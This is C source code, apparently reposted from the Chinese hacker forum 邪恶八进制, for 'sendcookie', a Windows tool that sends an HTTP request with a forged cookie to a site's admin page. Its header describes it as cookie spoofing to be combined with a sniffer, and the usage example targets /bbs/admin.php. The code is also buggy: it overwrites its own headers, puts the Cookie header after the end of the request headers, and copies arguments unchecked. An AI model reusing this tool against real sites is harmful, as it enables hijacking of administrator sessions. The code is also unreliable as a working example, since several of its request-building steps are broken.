作者:swords[E.S.T]
来源:邪恶八进制 中国
原代码:http://wmjie.51.net/swords/nettools/sendcookie.cpp
/**************************************************************
* File: sendcookie.cpp
* 描述:send cookie to remote host
* 伪造cookie进行后台的cookie欺骗
* 可以结合sniffer使用。。。
* 作者:SworDs
* 日期:2005-1-19
* mailto:swords@eviloctal.com
* url: http://wmjie.51.net/swords
***************************************************************/
//-------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")
int checkpra(int argc,char *argv[]);
void usage();
char ip[20]={0};
USHORT port=0;
char page[128]={0};
char cookie[1024]={0};
SOCKET sock;
struct sockaddr_in sin;
char sendbuf[1024*4]={0};
int main(int argc,char *argv[])
{
if(checkpra(argc,argv)==-1) return -1;
WSADATA wsa;
if(WSAStartup(0x0202,&wsa)!=0)
{
printf("WSAStartup failed with error:%d\n",GetLastError());
return -1;
}
sin.sin_family=AF_INET;
if(inet_addr(ip)!=INADDR_NONE)
sin.sin_addr.s_addr=inet_addr(ip);
else
{
struct hostent *phost=gethostbyname(ip);
if(phost==NULL)
{
printf("Resolve %s error!\n",ip);
return -1;
}
memcpy(&sin.sin_addr,phost->h_addr_list[0],phost->h_length);
}
sin.sin_port=htons(port);
char tempbuf[1024]={0};
sprintf(tempbuf,"GET %s HTTP/1.1\n",page);
strcat(sendbuf,"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\n");
strcat(sendbuf,"Content-Type: application/x-www-form-urlencoded\n");
strcpy(sendbuf,tempbuf);
memset(tempbuf,0,sizeof(tempbuf));
sprintf(tempbuf,"HOST: %s\n",ip);
strcat(sendbuf,tempbuf);
strcat(sendbuf,"Connection: Keep-Alive\n\n");
memset(tempbuf,0,sizeof(tempbuf));
sprintf(tempbuf,"Cookie: %s\n",cookie);
strcat(sendbuf,tempbuf);
SOCKET sock=socket(AF_INET,SOCK_STREAM,0);
if(sock==INVALID_SOCKET)
{
printf("Socket() failed with error:%d\n",GetLastError());
return -1;
}
int ret;
printf("State:Connecting...\n");
ret=connect(sock,(struct sockaddr*)&sin,sizeof(sin));
if(ret==SOCKET_ERROR)
{
printf("Connect() failed with error:%d\n",GetLastError());
return -1;
}
printf("State:Connected!\n");
printf("State:Sending cookie...\n");
ret=send(sock,sendbuf,strlen(sendbuf)+1,0);
if(ret>0)
printf("Send success!\n");
else
printf("Send error!\n");
char recvbuf[1024*10]={0};
ret=recv(sock,recvbuf,sizeof(recvbuf),0);
if(strstr(recvbuf,"200"))
printf("sendcookie success!\n\n");
else
printf("sendcookie false!\n\n");
closesocket(sock);
return 1;
}
void usage()
{
char pathname[128]={0};
GetModuleFileName(NULL,pathname,sizeof(pathname));
char *p=pathname+strlen(pathname)-1;
for(;*p!='\\';p--);
printf("-------------------------------------------------------------------------------\n");
printf("Usage:%s ip port page cookie\n",p+1);
printf("Code by SworDs--http://wmjie.51.net/swords\n");
printf("Ex:%s 10.10.0.49 80 /bbs/admin.php cookie\n",p+1);
printf("-------------------------------------------------------------------------------\n");
}
int checkpra(int argc,char *argv[])
{
if(argc<4){
printf("参数输入不正确!");
return -1;
}
strcpy(ip,argv[1]);
port=atoi(argv[2]);
strcpy(page,argv[3]);
strcpy(cookie,argv[4]);
int n=5;
while(argv[n]){
strcat(cookie,argv[n]);
n++;
}
return 0;
}